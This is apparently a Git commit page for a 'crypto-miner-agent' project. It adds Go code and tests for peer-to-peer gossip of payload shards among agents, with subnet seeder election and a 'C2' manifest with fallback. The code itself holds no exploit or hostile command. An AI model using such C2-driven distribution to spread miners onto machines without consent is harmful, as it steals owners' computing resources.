Add Fleet Torrent erasure extension with shard DHT and gossip.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.
This commit is contained in:
87
agent/client/fleet_torrent_gossip.go
Normal file
87
agent/client/fleet_torrent_gossip.go
Normal file
@@ -0,0 +1,87 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func (c *AgentClient) setFleetTorrentEnabled(enabled bool) {
|
||||
c.mu.Lock()
|
||||
c.fleetTorrentEnabled = enabled
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (c *AgentClient) fleetTorrentEnabledSnapshot() bool {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
return c.fleetTorrentEnabled
|
||||
}
|
||||
|
||||
func (c *AgentClient) setSubnetPrimarySeeder(primary bool) {
|
||||
c.mu.Lock()
|
||||
c.subnetPrimarySeeder = primary
|
||||
c.cfg.SubnetPrimarySeeder = primary
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (c *AgentClient) subnetPrimarySeederSnapshot() bool {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
return c.subnetPrimarySeeder
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyAuthFleetTorrent(resp AuthResponse) {
|
||||
c.setFleetTorrentEnabled(resp.FleetTorrentEnabled)
|
||||
if resp.SubnetPrimarySeeder != "" {
|
||||
c.setSubnetPrimarySeeder(resp.SubnetPrimarySeeder == c.cfg.AgentID)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleFleetTorrentGossip(payload json.RawMessage) {
|
||||
var body struct {
|
||||
Records []deploy.FleetGossipRecord `json:"records"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &body); err != nil || len(body.Records) == 0 {
|
||||
return
|
||||
}
|
||||
deploy.FleetShardDHTSnapshot().MergeFleetGossipRecords(body.Records)
|
||||
}
|
||||
|
||||
func (c *AgentClient) writeFleetTorrentGossip(records []deploy.FleetGossipRecord) {
|
||||
if !c.fleetTorrentEnabledSnapshot() || len(records) == 0 {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
agentID := c.cfg.AgentID
|
||||
c.mu.Unlock()
|
||||
localIP, _ := deploy.PrimaryLocalIPv4()
|
||||
subnet := deploy.SubnetFromIP(localIP)
|
||||
out := make([]deploy.FleetGossipRecord, 0, len(records))
|
||||
for _, r := range records {
|
||||
r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
|
||||
if r.AgentID == "" {
|
||||
r.AgentID = agentID
|
||||
}
|
||||
if r.Subnet == "" {
|
||||
r.Subnet = subnet
|
||||
}
|
||||
out = append(out, r)
|
||||
}
|
||||
payload, err := json.Marshal(map[string]interface{}{"records": out})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "fleet_torrent_gossip", Payload: payload})
|
||||
}
|
||||
|
||||
func (c *AgentClient) advertiseFleetTorrentHealthy() {
|
||||
if !c.fleetTorrentEnabledSnapshot() {
|
||||
return
|
||||
}
|
||||
c.writeFleetTorrentGossip([]deploy.FleetGossipRecord{{
|
||||
Kind: deploy.FleetGossipHealthy,
|
||||
Healthy: true,
|
||||
}})
|
||||
}
|
||||
35
agent/client/fleet_torrent_gossip_test.go
Normal file
35
agent/client/fleet_torrent_gossip_test.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"records": []deploy.FleetGossipRecord{{
|
||||
Kind: deploy.FleetGossipHaveShard, AgentID: "peer", Token: "tok",
|
||||
ShardIndex: 1, ShardHash: "deadbeef", FetchURL: "http://peer/shard/1",
|
||||
}},
|
||||
})
|
||||
c.handleFleetTorrentGossip(payload)
|
||||
peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0")
|
||||
if len(peers) != 1 || peers[0].AgentID != "peer" {
|
||||
t.Fatalf("peers=%+v", peers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyAuthFleetTorrentPrimarySeeder(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{AgentID: "primary-1"})
|
||||
c.applyAuthFleetTorrent(AuthResponse{
|
||||
FleetTorrentEnabled: true,
|
||||
SubnetPrimarySeeder: "primary-1",
|
||||
})
|
||||
if !c.fleetTorrentEnabledSnapshot() || !c.subnetPrimarySeederSnapshot() {
|
||||
t.Fatal("expected fleet torrent primary seeder")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user